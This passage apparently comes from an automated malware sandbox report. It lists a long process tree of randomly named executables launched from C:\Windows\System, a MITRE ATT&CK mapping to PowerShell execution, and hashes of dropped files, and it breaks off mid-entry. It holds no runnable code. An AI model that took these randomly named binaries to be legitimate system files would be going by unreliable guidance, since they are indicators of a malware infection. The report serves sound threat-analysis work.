  C:\Windows\System\IzpkVzB.exe
  2⤵
  PID:8112
- C:\Windows\System\vumrahi.exe
  C:\Windows\System\vumrahi.exe
  2⤵
  PID:8204
- C:\Windows\System\UZNWTKi.exe
  C:\Windows\System\UZNWTKi.exe
  2⤵
  PID:8220
- C:\Windows\System\fClFtqP.exe
  C:\Windows\System\fClFtqP.exe
  2⤵
  PID:8236
- C:\Windows\System\OBOieTK.exe
  C:\Windows\System\OBOieTK.exe
  2⤵
  PID:8256
- C:\Windows\System\cyYQTxW.exe
  C:\Windows\System\cyYQTxW.exe
  2⤵
  PID:8276
- C:\Windows\System\oiPTjpC.exe
  C:\Windows\System\oiPTjpC.exe
  2⤵
  PID:8296
- C:\Windows\System\SOzMHPT.exe
  C:\Windows\System\SOzMHPT.exe
  2⤵
  PID:8312
- C:\Windows\System\BnrAApj.exe
  C:\Windows\System\BnrAApj.exe
  2⤵
  PID:8328
- C:\Windows\System\LzECzJj.exe
  C:\Windows\System\LzECzJj.exe
  2⤵
  PID:8348
- C:\Windows\System\yqqCFUQ.exe
  C:\Windows\System\yqqCFUQ.exe
  2⤵
  PID:8364
- C:\Windows\System\IWpYJiJ.exe
  C:\Windows\System\IWpYJiJ.exe
  2⤵
  PID:8384
- C:\Windows\System\koIaYfN.exe
  C:\Windows\System\koIaYfN.exe
  2⤵
  PID:8404
- C:\Windows\System\XHaAQFS.exe
  C:\Windows\System\XHaAQFS.exe
  2⤵
  PID:8424
- C:\Windows\System\rtbYHWT.exe
  C:\Windows\System\rtbYHWT.exe
  2⤵
  PID:8444
- C:\Windows\System\GcvTcrQ.exe
  C:\Windows\System\GcvTcrQ.exe
  2⤵
  PID:8460
- C:\Windows\System\aYZonlM.exe
  C:\Windows\System\aYZonlM.exe
  2⤵
  PID:8484
- C:\Windows\System\sfmpAhW.exe
  C:\Windows\System\sfmpAhW.exe
  2⤵
  PID:8500
- C:\Windows\System\kZGCRZZ.exe
  C:\Windows\System\kZGCRZZ.exe
  2⤵
  PID:8520
- C:\Windows\System\aUlmWQc.exe
  C:\Windows\System\aUlmWQc.exe
  2⤵
  PID:8544
- C:\Windows\System\oNnmaFR.exe
  C:\Windows\System\oNnmaFR.exe
  2⤵
  PID:8568
- C:\Windows\System\nSzRkBW.exe
  C:\Windows\System\nSzRkBW.exe
  2⤵
  PID:8612
- C:\Windows\System\nqbjEXg.exe
  C:\Windows\System\nqbjEXg.exe
  2⤵
  PID:8640
- C:\Windows\System\UYLAGCW.exe
  C:\Windows\System\UYLAGCW.exe
  2⤵
  PID:8664
- C:\Windows\System\kWSjcEg.exe
  C:\Windows\System\kWSjcEg.exe
  2⤵
  PID:8684
- C:\Windows\System\prndpAx.exe
  C:\Windows\System\prndpAx.exe
  2⤵
  PID:8708
- C:\Windows\System\oFmRoQW.exe
  C:\Windows\System\oFmRoQW.exe
  2⤵
  PID:8732
- C:\Windows\System\RtKJbLu.exe
  C:\Windows\System\RtKJbLu.exe
  2⤵
  PID:8748
- C:\Windows\System\KhtgffH.exe
  C:\Windows\System\KhtgffH.exe
  2⤵
  PID:8764
- C:\Windows\System\LMtnHuB.exe
  C:\Windows\System\LMtnHuB.exe
  2⤵
  PID:8780
- C:\Windows\System\sXBwYKv.exe
  C:\Windows\System\sXBwYKv.exe
  2⤵
  PID:8796
- C:\Windows\System\fqQtaIQ.exe
  C:\Windows\System\fqQtaIQ.exe
  2⤵
  PID:8836
- C:\Windows\System\smPLDEl.exe
  C:\Windows\System\smPLDEl.exe
  2⤵
  PID:8852
- C:\Windows\System\GjjEOoW.exe
  C:\Windows\System\GjjEOoW.exe
  2⤵
  PID:8868
- C:\Windows\System\WQsWJps.exe
  C:\Windows\System\WQsWJps.exe
  2⤵
  PID:8888
- C:\Windows\System\cDJDPuH.exe
  C:\Windows\System\cDJDPuH.exe
  2⤵
  PID:8916
- C:\Windows\System\UisJjDE.exe
  C:\Windows\System\UisJjDE.exe
  2⤵
  PID:8932
- C:\Windows\System\kEZqoMv.exe
  C:\Windows\System\kEZqoMv.exe
  2⤵
  PID:8948
- C:\Windows\System\lHIMCkv.exe
  C:\Windows\System\lHIMCkv.exe
  2⤵
  PID:8976
- C:\Windows\System\ieMpLfG.exe
  C:\Windows\System\ieMpLfG.exe
  2⤵
  PID:8992
- C:\Windows\System\kkLycWN.exe
  C:\Windows\System\kkLycWN.exe
  2⤵
  PID:9012
- C:\Windows\System\OkEoAHR.exe
  C:\Windows\System\OkEoAHR.exe
  2⤵
  PID:9032
- C:\Windows\System\JbmPTZD.exe
  C:\Windows\System\JbmPTZD.exe
  2⤵
  PID:9056
- C:\Windows\System\OZWswne.exe
  C:\Windows\System\OZWswne.exe
  2⤵
  PID:9072
- C:\Windows\System\SHNnfHp.exe
  C:\Windows\System\SHNnfHp.exe
  2⤵
  PID:9096
- C:\Windows\System\KWQlnhU.exe
  C:\Windows\System\KWQlnhU.exe
  2⤵
  PID:9116
- C:\Windows\System\HyCMhSo.exe
  C:\Windows\System\HyCMhSo.exe
  2⤵
  PID:9132
- C:\Windows\System\jYnwehI.exe
  C:\Windows\System\jYnwehI.exe
  2⤵
  PID:9148
- C:\Windows\System\XbuLErU.exe
  C:\Windows\System\XbuLErU.exe
  2⤵
  PID:9164
- C:\Windows\System\Sjrvxgi.exe
  C:\Windows\System\Sjrvxgi.exe
  2⤵
  PID:9188
- C:\Windows\System\lGEoxoZ.exe
  C:\Windows\System\lGEoxoZ.exe
  2⤵
  PID:8216
- C:\Windows\System\sjkVgfL.exe
  C:\Windows\System\sjkVgfL.exe
  2⤵
  PID:8252
- C:\Windows\System\mAGCiNt.exe
  C:\Windows\System\mAGCiNt.exe
  2⤵
  PID:8320
- C:\Windows\System\xOgqNrf.exe
  C:\Windows\System\xOgqNrf.exe
  2⤵
  PID:7636
- C:\Windows\System\MnFSRjO.exe
  C:\Windows\System\MnFSRjO.exe
  2⤵
  PID:6356
- C:\Windows\System\AyoZYip.exe
  C:\Windows\System\AyoZYip.exe
  2⤵
  PID:8480
- C:\Windows\System\wcIrrQF.exe
  C:\Windows\System\wcIrrQF.exe
  2⤵
  PID:8552
- C:\Windows\System\CnKQyzZ.exe
  C:\Windows\System\CnKQyzZ.exe
  2⤵
  PID:7704
- C:\Windows\System\YFXBLpy.exe
  C:\Windows\System\YFXBLpy.exe
  2⤵
  PID:8200
- C:\Windows\System\gaXaGyw.exe
  C:\Windows\System\gaXaGyw.exe
  2⤵
  PID:8492
- C:\Windows\System\HqFkXOS.exe
  C:\Windows\System\HqFkXOS.exe
  2⤵
  PID:8344
- C:\Windows\System\UhlqfEs.exe
  C:\Windows\System\UhlqfEs.exe
  2⤵
  PID:8380
- C:\Windows\System\sLWgpRm.exe
  C:\Windows\System\sLWgpRm.exe
  2⤵
  PID:8456
- C:\Windows\System\fuCBNDr.exe
  C:\Windows\System\fuCBNDr.exe
  2⤵
  PID:8540
- C:\Windows\System\NAwQqOY.exe
  C:\Windows\System\NAwQqOY.exe
  2⤵
  PID:8620
- C:\Windows\System\EbAoOcT.exe
  C:\Windows\System\EbAoOcT.exe
  2⤵
  PID:8608
- C:\Windows\System\LEJYYcD.exe
  C:\Windows\System\LEJYYcD.exe
  2⤵
  PID:8652
- C:\Windows\System\KeTPjjt.exe
  C:\Windows\System\KeTPjjt.exe
  2⤵
  PID:8704
- C:\Windows\System\eeSpOdE.exe
  C:\Windows\System\eeSpOdE.exe
  2⤵
  PID:8740
- C:\Windows\System\pDHKqjV.exe
  C:\Windows\System\pDHKqjV.exe
  2⤵
  PID:8788
- C:\Windows\System\TIkSLZM.exe
  C:\Windows\System\TIkSLZM.exe
  2⤵
  PID:8804
- C:\Windows\System\XifelmT.exe
  C:\Windows\System\XifelmT.exe
  2⤵
  PID:8860
- C:\Windows\System\AbgCRxN.exe
  C:\Windows\System\AbgCRxN.exe
  2⤵
  PID:8896
- C:\Windows\System\hrPdCnR.exe
  C:\Windows\System\hrPdCnR.exe
  2⤵
  PID:8924
- C:\Windows\System\vnQDryw.exe
  C:\Windows\System\vnQDryw.exe
  2⤵
  PID:8968
- C:\Windows\System\DKoFSwL.exe
  C:\Windows\System\DKoFSwL.exe
  2⤵
  PID:9000
- C:\Windows\System\XZDCCLO.exe
  C:\Windows\System\XZDCCLO.exe
  2⤵
  PID:9044
- C:\Windows\System\sJlyhqO.exe
  C:\Windows\System\sJlyhqO.exe
  2⤵
  PID:9080
- C:\Windows\System\AGkVDqt.exe
  C:\Windows\System\AGkVDqt.exe
  2⤵
  PID:9104
- C:\Windows\System\honsJAh.exe
  C:\Windows\System\honsJAh.exe
  2⤵
  PID:9124
- C:\Windows\System\YPBbGhC.exe
  C:\Windows\System\YPBbGhC.exe
  2⤵
  PID:9196
- C:\Windows\System\VcuyEOZ.exe
  C:\Windows\System\VcuyEOZ.exe
  2⤵
  PID:9184
- C:\Windows\System\AeAdnhZ.exe
  C:\Windows\System\AeAdnhZ.exe
  2⤵
  PID:8248
- C:\Windows\System\EBkZRAv.exe
  C:\Windows\System\EBkZRAv.exe
  2⤵
  PID:8360
- C:\Windows\System\PEccSBU.exe
  C:\Windows\System\PEccSBU.exe
  2⤵
  PID:8436
- C:\Windows\System\OKtLmlt.exe
  C:\Windows\System\OKtLmlt.exe
  2⤵
  PID:8516
- C:\Windows\System\kfEIfDK.exe
  C:\Windows\System\kfEIfDK.exe
  2⤵
  PID:8268
- C:\Windows\System\GHohhHk.exe
  C:\Windows\System\GHohhHk.exe
  2⤵
  PID:8376
- C:\Windows\System\aLPKiPv.exe
  C:\Windows\System\aLPKiPv.exe
  2⤵
  PID:8600
- C:\Windows\System\tAUSKGm.exe
  C:\Windows\System\tAUSKGm.exe
  2⤵
  PID:8636
- C:\Windows\System\vljFgwO.exe
  C:\Windows\System\vljFgwO.exe
  2⤵
  PID:9212
- C:\Windows\System\ahsSDnM.exe
  C:\Windows\System\ahsSDnM.exe
  2⤵
  PID:8724
- C:\Windows\System\EgbNoEc.exe
  C:\Windows\System\EgbNoEc.exe
  2⤵
  PID:8680
- C:\Windows\System\izhRbaR.exe
  C:\Windows\System\izhRbaR.exe
  2⤵
  PID:8812
- C:\Windows\System\IjcsAHq.exe
  C:\Windows\System\IjcsAHq.exe
  2⤵
  PID:8848
- C:\Windows\System\dsYuLKi.exe
  C:\Windows\System\dsYuLKi.exe
  2⤵
  PID:8880
- C:\Windows\System\YhfVoCz.exe
  C:\Windows\System\YhfVoCz.exe
  2⤵
  PID:8964
- C:\Windows\System\JSSTFhB.exe
  C:\Windows\System\JSSTFhB.exe
  2⤵
  PID:9040
- C:\Windows\System\MSyOPPL.exe
  C:\Windows\System\MSyOPPL.exe
  2⤵
  PID:9092
- C:\Windows\System\QnHSkIp.exe
  C:\Windows\System\QnHSkIp.exe
  2⤵
  PID:9128
- C:\Windows\System\cVPwJRF.exe
  C:\Windows\System\cVPwJRF.exe
  2⤵
  PID:8828
- C:\Windows\System\epQhOrP.exe
  C:\Windows\System\epQhOrP.exe
  2⤵
  PID:8244
- C:\Windows\System\CaTFOiX.exe
  C:\Windows\System\CaTFOiX.exe
  2⤵
  PID:8232
- C:\Windows\System\yiYAksg.exe
  C:\Windows\System\yiYAksg.exe
  2⤵
  PID:6484
- C:\Windows\System\kcXEvLz.exe
  C:\Windows\System\kcXEvLz.exe
  2⤵
  PID:8304
- C:\Windows\System\FjeDRKn.exe
  C:\Windows\System\FjeDRKn.exe
  2⤵
  PID:8536
- C:\Windows\System\PlUNEoo.exe
  C:\Windows\System\PlUNEoo.exe
  2⤵
  PID:8716
- C:\Windows\System\gTXTxUX.exe
  C:\Windows\System\gTXTxUX.exe
  2⤵
  PID:8696
- C:\Windows\System\UlhAZxv.exe
  C:\Windows\System\UlhAZxv.exe
  2⤵
  PID:8900
- C:\Windows\System\CrehdxH.exe
  C:\Windows\System\CrehdxH.exe
  2⤵
  PID:9028
- C:\Windows\System\EviZPhP.exe
  C:\Windows\System\EviZPhP.exe
  2⤵
  PID:9112
- C:\Windows\System\ibBxxxw.exe
  C:\Windows\System\ibBxxxw.exe
  2⤵
  PID:8400
- C:\Windows\System\UIVMPGl.exe
  C:\Windows\System\UIVMPGl.exe
  2⤵
  PID:8472
- C:\Windows\System\hpIygMX.exe
  C:\Windows\System\hpIygMX.exe
  2⤵
  PID:8336
- C:\Windows\System\gBjOEnj.exe
  C:\Windows\System\gBjOEnj.exe
  2⤵
  PID:8588
- C:\Windows\System\ssHmBkz.exe
  C:\Windows\System\ssHmBkz.exe
  2⤵
  PID:8672
- C:\Windows\System\JSVjwtL.exe
  C:\Windows\System\JSVjwtL.exe
  2⤵
  PID:8908
- C:\Windows\System\RWiohsD.exe
  C:\Windows\System\RWiohsD.exe
  2⤵
  PID:9024
- C:\Windows\System\QEPtbNK.exe
  C:\Windows\System\QEPtbNK.exe
  2⤵
  PID:9180
- C:\Windows\System\gvVApFs.exe
  C:\Windows\System\gvVApFs.exe
  2⤵
  PID:6228
- C:\Windows\System\rSuqLZd.exe
  C:\Windows\System\rSuqLZd.exe
  2⤵
  PID:8832
- C:\Windows\System\SiqIcde.exe
  C:\Windows\System\SiqIcde.exe
  2⤵
  PID:8972
- C:\Windows\System\EpUCxFu.exe
  C:\Windows\System\EpUCxFu.exe
  2⤵
  PID:8824
- C:\Windows\System\lcsRzll.exe
  C:\Windows\System\lcsRzll.exe
  2⤵
  PID:9064
- C:\Windows\System\fOUbTwI.exe
  C:\Windows\System\fOUbTwI.exe
  2⤵
  PID:9172
- C:\Windows\System\zZySUTL.exe
  C:\Windows\System\zZySUTL.exe
  2⤵
  PID:8440
- C:\Windows\System\lSfAKmN.exe
  C:\Windows\System\lSfAKmN.exe
  2⤵
  PID:8756
- C:\Windows\System\WLBlMpU.exe
  C:\Windows\System\WLBlMpU.exe
  2⤵
  PID:9004
- C:\Windows\System\BtatUMp.exe
  C:\Windows\System\BtatUMp.exe
  2⤵
  PID:9232
- C:\Windows\System\CHkAjXQ.exe
  C:\Windows\System\CHkAjXQ.exe
  2⤵
  PID:9248
- C:\Windows\System\MccWaNZ.exe
  C:\Windows\System\MccWaNZ.exe
  2⤵
  PID:9268
- C:\Windows\System\TSsHXBj.exe
  C:\Windows\System\TSsHXBj.exe
  2⤵
  PID:9284
- C:\Windows\System\qokPtwl.exe
  C:\Windows\System\qokPtwl.exe
  2⤵
  PID:9300
- C:\Windows\System\RoqVKcz.exe
  C:\Windows\System\RoqVKcz.exe
  2⤵
  PID:9316
- C:\Windows\System\TpLkytB.exe
  C:\Windows\System\TpLkytB.exe
  2⤵
  PID:9340
- C:\Windows\System\SnsLxaL.exe
  C:\Windows\System\SnsLxaL.exe
  2⤵
  PID:9356
- C:\Windows\System\VvgwHvU.exe
  C:\Windows\System\VvgwHvU.exe
  2⤵
  PID:9376
- C:\Windows\System\FZrQMOL.exe
  C:\Windows\System\FZrQMOL.exe
  2⤵
  PID:9392
- C:\Windows\System\HEmBxeu.exe
  C:\Windows\System\HEmBxeu.exe
  2⤵
  PID:9408
- C:\Windows\System\FOCGAbD.exe
  C:\Windows\System\FOCGAbD.exe
  2⤵
  PID:9424
- C:\Windows\System\wcrtPEm.exe
  C:\Windows\System\wcrtPEm.exe
  2⤵
  PID:9452
- C:\Windows\System\LLFRTtv.exe
  C:\Windows\System\LLFRTtv.exe
  2⤵
  PID:9468
- C:\Windows\System\ZxgiNdI.exe
  C:\Windows\System\ZxgiNdI.exe
  2⤵
  PID:9484
- C:\Windows\System\gJANRtI.exe
  C:\Windows\System\gJANRtI.exe
  2⤵
  PID:9500
- C:\Windows\System\AbFmlnV.exe
  C:\Windows\System\AbFmlnV.exe
  2⤵
  PID:9524
- C:\Windows\System\bDkaWIA.exe
  C:\Windows\System\bDkaWIA.exe
  2⤵
  PID:9544
- C:\Windows\System\KgRGXOm.exe
  C:\Windows\System\KgRGXOm.exe
  2⤵
  PID:9560
- C:\Windows\System\pDWnkSz.exe
  C:\Windows\System\pDWnkSz.exe
  2⤵
  PID:9580
- C:\Windows\System\ySaVYAP.exe
  C:\Windows\System\ySaVYAP.exe
  2⤵
  PID:9596
- C:\Windows\System\LOPhkfB.exe
  C:\Windows\System\LOPhkfB.exe
  2⤵
  PID:9616
- C:\Windows\System\qdSEsPf.exe
  C:\Windows\System\qdSEsPf.exe
  2⤵
  PID:9640
- C:\Windows\System\RcXCJdx.exe
  C:\Windows\System\RcXCJdx.exe
  2⤵
  PID:9668
- C:\Windows\System\PoguDlL.exe
  C:\Windows\System\PoguDlL.exe
  2⤵
  PID:9696
- C:\Windows\System\SCjNtEC.exe
  C:\Windows\System\SCjNtEC.exe
  2⤵
  PID:9724
- C:\Windows\System\UVsPpJr.exe
  C:\Windows\System\UVsPpJr.exe
  2⤵
  PID:9740
- C:\Windows\System\aeWYEpd.exe
  C:\Windows\System\aeWYEpd.exe
  2⤵
  PID:9756
- C:\Windows\System\eVPKgEE.exe
  C:\Windows\System\eVPKgEE.exe
  2⤵
  PID:9772
- C:\Windows\System\otIVIrf.exe
  C:\Windows\System\otIVIrf.exe
  2⤵
  PID:9788
- C:\Windows\System\ZBUwqfK.exe
  C:\Windows\System\ZBUwqfK.exe
  2⤵
  PID:9808
- C:\Windows\System\ocFSLMS.exe
  C:\Windows\System\ocFSLMS.exe
  2⤵
  PID:9824
- C:\Windows\System\HIfZvTb.exe
  C:\Windows\System\HIfZvTb.exe
  2⤵
  PID:9840
- C:\Windows\System\FCXVWTE.exe
  C:\Windows\System\FCXVWTE.exe
  2⤵
  PID:9864
- C:\Windows\System\FTivKTJ.exe
  C:\Windows\System\FTivKTJ.exe
  2⤵
  PID:9888
- C:\Windows\System\jDAyKTE.exe
  C:\Windows\System\jDAyKTE.exe
  2⤵
  PID:9908
- C:\Windows\System\lPDCJUr.exe
  C:\Windows\System\lPDCJUr.exe
  2⤵
  PID:9924
- C:\Windows\System\cOnJAxl.exe
  C:\Windows\System\cOnJAxl.exe
  2⤵
  PID:9984
- C:\Windows\System\wETZgwT.exe
  C:\Windows\System\wETZgwT.exe
  2⤵
  PID:10000
- C:\Windows\System\WdfiQqd.exe
  C:\Windows\System\WdfiQqd.exe
  2⤵
  PID:10016
- C:\Windows\System\awfvfTz.exe
  C:\Windows\System\awfvfTz.exe
  2⤵
  PID:10048
- C:\Windows\System\BsqpQhx.exe
  C:\Windows\System\BsqpQhx.exe
  2⤵
  PID:10064
- C:\Windows\System\DKqwcpS.exe
  C:\Windows\System\DKqwcpS.exe
  2⤵
  PID:10080
- C:\Windows\System\xdjvrWh.exe
  C:\Windows\System\xdjvrWh.exe
  2⤵
  PID:10096
- C:\Windows\System\SNmIhbN.exe
  C:\Windows\System\SNmIhbN.exe
  2⤵
  PID:10120
- C:\Windows\System\hrnrrrT.exe
  C:\Windows\System\hrnrrrT.exe
  2⤵
  PID:10140
- C:\Windows\System\ZlZmnFZ.exe
  C:\Windows\System\ZlZmnFZ.exe
  2⤵
  PID:10156
- C:\Windows\System\aUxVuGX.exe
  C:\Windows\System\aUxVuGX.exe
  2⤵
  PID:10172
- C:\Windows\System\LSuePvv.exe
  C:\Windows\System\LSuePvv.exe
  2⤵
  PID:10192
- C:\Windows\System\hdeTujE.exe
  C:\Windows\System\hdeTujE.exe
  2⤵
  PID:10212
- C:\Windows\System\pFhxoDD.exe
  C:\Windows\System\pFhxoDD.exe
  2⤵
  PID:9256
- C:\Windows\System\SZtXTXw.exe
  C:\Windows\System\SZtXTXw.exe
  2⤵
  PID:9292
- C:\Windows\System\hSyQIQK.exe
  C:\Windows\System\hSyQIQK.exe
  2⤵
  PID:9336
- C:\Windows\System\kOgnerY.exe
  C:\Windows\System\kOgnerY.exe
  2⤵
  PID:9400
- C:\Windows\System\YcaOEXq.exe
  C:\Windows\System\YcaOEXq.exe
  2⤵
  PID:9436
- C:\Windows\System\FBJGdhA.exe
  C:\Windows\System\FBJGdhA.exe
  2⤵
  PID:8984
- C:\Windows\System\BnDabDG.exe
  C:\Windows\System\BnDabDG.exe
  2⤵
  PID:9516
- C:\Windows\System\ngsAxHX.exe
  C:\Windows\System\ngsAxHX.exe
  2⤵
  PID:9624
- C:\Windows\System\WxgoAog.exe
  C:\Windows\System\WxgoAog.exe
  2⤵
  PID:9388
- C:\Windows\System\VaoecSw.exe
  C:\Windows\System\VaoecSw.exe
  2⤵
  PID:9352
- C:\Windows\System\jgctafa.exe
  C:\Windows\System\jgctafa.exe
  2⤵
  PID:9420
- C:\Windows\System\QKrUhfw.exe
  C:\Windows\System\QKrUhfw.exe
  2⤵
  PID:9540
- C:\Windows\System\xrKoqvc.exe
  C:\Windows\System\xrKoqvc.exe
  2⤵
  PID:9612
- C:\Windows\System\lzdUILQ.exe
  C:\Windows\System\lzdUILQ.exe
  2⤵
  PID:9676
- C:\Windows\System\TqEErgT.exe
  C:\Windows\System\TqEErgT.exe
  2⤵
  PID:9736
- C:\Windows\System\IEqkorZ.exe
  C:\Windows\System\IEqkorZ.exe
  2⤵
  PID:9800
- C:\Windows\System\sMSOVpV.exe
  C:\Windows\System\sMSOVpV.exe
  2⤵
  PID:9872
- C:\Windows\System\HaaQPmM.exe
  C:\Windows\System\HaaQPmM.exe
  2⤵
  PID:9568
- C:\Windows\System\PBboOGe.exe
  C:\Windows\System\PBboOGe.exe
  2⤵
  PID:9780
- C:\Windows\System\XexmXGx.exe
  C:\Windows\System\XexmXGx.exe
  2⤵
  PID:9664
- C:\Windows\System\fsEaHBL.exe
  C:\Windows\System\fsEaHBL.exe
  2⤵
  PID:9716
- C:\Windows\System\gvTSABC.exe
  C:\Windows\System\gvTSABC.exe
  2⤵
  PID:9860
- C:\Windows\System\ZMgMNfd.exe
  C:\Windows\System\ZMgMNfd.exe
  2⤵
  PID:9940
- C:\Windows\System\RZVKJFA.exe
  C:\Windows\System\RZVKJFA.exe
  2⤵
  PID:9976
- C:\Windows\System\VCDZhUp.exe
  C:\Windows\System\VCDZhUp.exe
  2⤵
  PID:10012
- C:\Windows\System\hWAZqFA.exe
  C:\Windows\System\hWAZqFA.exe
  2⤵
  PID:9656
- C:\Windows\System\ANtffAW.exe
  C:\Windows\System\ANtffAW.exe
  2⤵
  PID:10088
- C:\Windows\System\FCLJRGH.exe
  C:\Windows\System\FCLJRGH.exe
  2⤵
  PID:10116
- C:\Windows\System\LWRPjVu.exe
  C:\Windows\System\LWRPjVu.exe
  2⤵
  PID:10188
- C:\Windows\System\dlTxwag.exe
  C:\Windows\System\dlTxwag.exe
  2⤵
  PID:10200
- C:\Windows\System\zuJfFjS.exe
  C:\Windows\System\zuJfFjS.exe
  2⤵
  PID:10168
- C:\Windows\System\BYbBvhf.exe
  C:\Windows\System\BYbBvhf.exe
  2⤵
  PID:9224
- C:\Windows\System\aRVoHio.exe
  C:\Windows\System\aRVoHio.exe
  2⤵
  PID:9324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BCBoxVC.exe

Filesize
3.0MB

MD5
596d4f73f88b6ff738383a3684c76a91

SHA1
4689ce960ba8cf1ebf4460925ab9afca55d51380

SHA256
a90d424738bb7dfde4c6999d39de52e6f23fd035ffe6db655a21741daa392ce0

SHA512
9908b58225c52b65e570043fab182bd590a775adb1bcc0486a7fddd8bde83fff58320466de1d3b7bc9a356eff97a6b06d750ff13255b0172adf75fd35f1cc0b8

Download Submit
C:\Windows\system\BkZKQGc.exe

Filesize
3.0MB

MD5
4f33d776d0b16a10811cd7fe9567e1c9

SHA1
078925c24ccfb073302d424b69dbd497c7b1d236

SHA256
6d07bab812850e7029d1551524634bc5d974be9927fa21404801dbad5aa6c080

SHA512
2ab7be1e5cd07db6cfe3658ba1c6548c9110a361e7133af11729b59a3ac6d5beca31cc5e1397f60e2f09719cde8e1fd1d80329b6a73ae05546b30cf40302c28b

Download Submit
C:\Windows\system\CUsEICd.exe

Filesize
3.0MB

MD5
330824515653767c6fa42721b609da9a

SHA1
48352a9818a0c1a17e431e5b0892e93baa707c79

SHA256
0261d955f0d663c6473254340e64c094624abbe623d13d222d1c9c431cbe09a6

SHA512
aa62ecf06055df410b45e0cbd4da79d779748201e92f545dd42e3408edbcdb980503ef7aab3e1aed3cad7a423dd366739a144e75580a07c5143fed38793d128a

Download Submit
C:\Windows\system\CqXOGbj.exe

Filesize
3.0MB

MD5
f3d8baacd4d6018c413dacf6d3de7e6b

SHA1
03f5cd04668b19538a816c1a370c99389d1f3f75

SHA256
1db2a19d4f86a8fd13df35b8a6ee08f928a2f34af24cad7d12030871f1c3152a

SHA512
5ab8471711b4d55f86f6539babeb664ceaf4e03a7f0f3bd0f593cd830bc93883d8145e2c56241b53bac50170c860e5930023c2ff0cf1e24939c37375f057985a

Download Submit
C:\Windows\system\GOflsXN.exe

Filesize
3.0MB

MD5
d839635d4fd7c18c14bc58a9fd66bcd8

SHA1
ce75062b5291ee347d082b303880e39518ed7ed1

SHA256
01c7ebbcdefde65731618d11a698dcff3a21e9d339176430fe63a30a7a1e0715

SHA512
82fee0286c941afcb46f9fbe7460865755002a89628ca81e39bdd67117faa8c3b9fd88ef5a3cb2dcb2b74de898378f7f533a7f6b18e6c8a7c1119495d5987079

Download Submit
C:\Windows\system\JOWyniJ.exe

Filesize
3.0MB

MD5
7021e575a4b9ef3d6c8aff81fa3c080d

SHA1
b04e7b030e4686e6c0fa787041b4849d47e9a7b9

SHA256
ff56c6e76c4f3187bdea6ddb50bbb1ebf67db93cfe6fa51972b4aca7a743cf1e

SHA512
43879cbf846db28c8ed18e38133397e63bbf9fd304ffae5dbbed49038390591f7f1e98d0acd7750e203aa6ed228b310b6ddfd087de29e52e3c907a303f16264a

Download Submit
C:\Windows\system\NUJOfGN.exe

Filesize
3.0MB

MD5
07068ff30e4fb43f47c0d19a04e3bc0d

SHA1
978d8a1ed9c760ea98401ca5b785d3951df5f521

SHA256
6c272d4f72b3ed426dbb712fcbddbf9d243080588a9f5550efc90cbacc5fdb80

SHA512
22bbafa1b27296ea5e1a26c27edefa90738fcde42d3e2949291edf882ba24135f118afad047cb3c839f5e7dcaa8aa7d1b60c6a2a2e67885f0451caafe8f69e26

Download Submit
C:\Windows\system\NwtyMwO.exe

Filesize
3.0MB

MD5
d8645b6d04f1ae81f9fa3858eb2573df

SHA1
011bca9bc7231da4ef632404a674125a50c71109

SHA256
2241010b872cb1b89a1ff9a80b52fa2b51e31df9d92619857bcf9e8f96e89e68

SHA512
425b1ccbafb00506c234a8cb49a2091f71009fb72e7d2ceb67ce88404c8c9f68a4c42ccee930117858feba7e00650e2d9d44108f5b035aa49d770f743510c20e

Download Submit
C:\Windows\system\RjYbNQY.exe

Filesize
3.0MB

MD5
6fcd5113512b669dad05f6a88c2cb6c8

SHA1
c679fb72f989961b54beb7d09bf517859a275db4

SHA256
acbef0d86d3383153da26e43d8c6c6281d54e48b1eac4aab838a73a5172b519b

SHA512
4995326ca59d621a96626d4347a0be7366e7f0d6d540dcf3adde47463bbf737aae5eaaf66b016c1d7810d6257fb19ec86b2c8b36a3f31d8c423ac746e541e266

Download Submit
C:\Windows\system\SRAPGRc.exe

Filesize
3.0MB

MD5
4a9bb339c8770de9979fe60c3791f757

SHA1
53e3f6b0ebabe9f8f856f1855f3f482f6c03317e

SHA256
c64ea2544ff7d3f3504f9c201000cf62f491a378eed46a432f8a77828da4967d

SHA512
9fb29ead4685399ed433204ed6621cb87abd92f6621edc7811a5a831fc10969c1f24f33d3687710c3d36d542e61e4091b61690b846e591a6236a2566b985a949

Download Submit
C:\Windows\system\SfmYYxv.exe

Filesize
3.0MB

MD5
7ae99f09b29fdaf94eea16a163a2ca67

SHA1
dce286636b5680991868203919f73030957467d9

SHA256
e08206cafa2fb0ad6dd3f62129db9ab055fa6caf986b555618689e626fd78088

SHA512
4769a56465254cbd0d6028bfbd7905fe227b7d81b8e9eec81c2a8313e78378f49379805dec95c75e723548d511c4f1163f62ce19ef66c7aa9b473c9403d75b5e

Download Submit
C:\Windows\system\VnqnzTi.exe

Filesize
3.0MB

MD5
04f331667280d0caf75de61eef162990

SHA1
938fe8f195d1aa5e32f66614249f0c99703077bc

SHA256
1eacd4fafb87a5fd7d427f5c26cbbe78eb26127800dcf66c110862cefdb8b008

SHA512
95ed00e24beba7d6cae6e9c0b58a4e98f7c42c5062b4cca5f00063a76dd81ba7a8b50ce3bc1835da6b4effdf13a94861c76f3689af9bff6b30b7194e9b333504

Download Submit
C:\Windows\system\WTPnYDi.exe

Filesize
3.0MB

MD5
9504d8b6ccdcb5691b7321a057683d79

SHA1
9c89f47129426f4de6da171df7e27f444ab59c8c

SHA256
2b287d5c0f5a5e7de746513591fa32f6c41c234f835e4d0073874ba3381369b8

SHA512
b4feb7c3ac3cad2f850ab0d20be415e1031bc0a7cd42fe4fd29f1c8c0a62cf0693db37be73a2c1c821fb915c38a16126e3c71423e57a370d05773f26b6981517

Download Submit
C:\Windows\system\WYOODpb.exe

Filesize
3.0MB

MD5
d4739c687c09fff74c6719f171421841

SHA1
2a252ac47483eec1eedbf324ae1e82f6788e6f49

SHA256
9b2692496bb9d898ec9b57a34423f2573eaf3149162147ce4259c1bd8aa84994

SHA512
d1133f363708e8e1c1b8b680046bafde87ed6c3f2994d87763a847326d871972b10a28aa6ed8e90dd9478c3a0505d9b78dca2963cd037d50f97fe0a326fa3229

Download Submit
C:\Windows\system\YNaJuIB.exe

Filesize
3.0MB

MD5
363f47dc5192aaed040bd9126fc96dd5

SHA1
97aa32aec4364c64a1659facc192ba36de1b81a2

SHA256
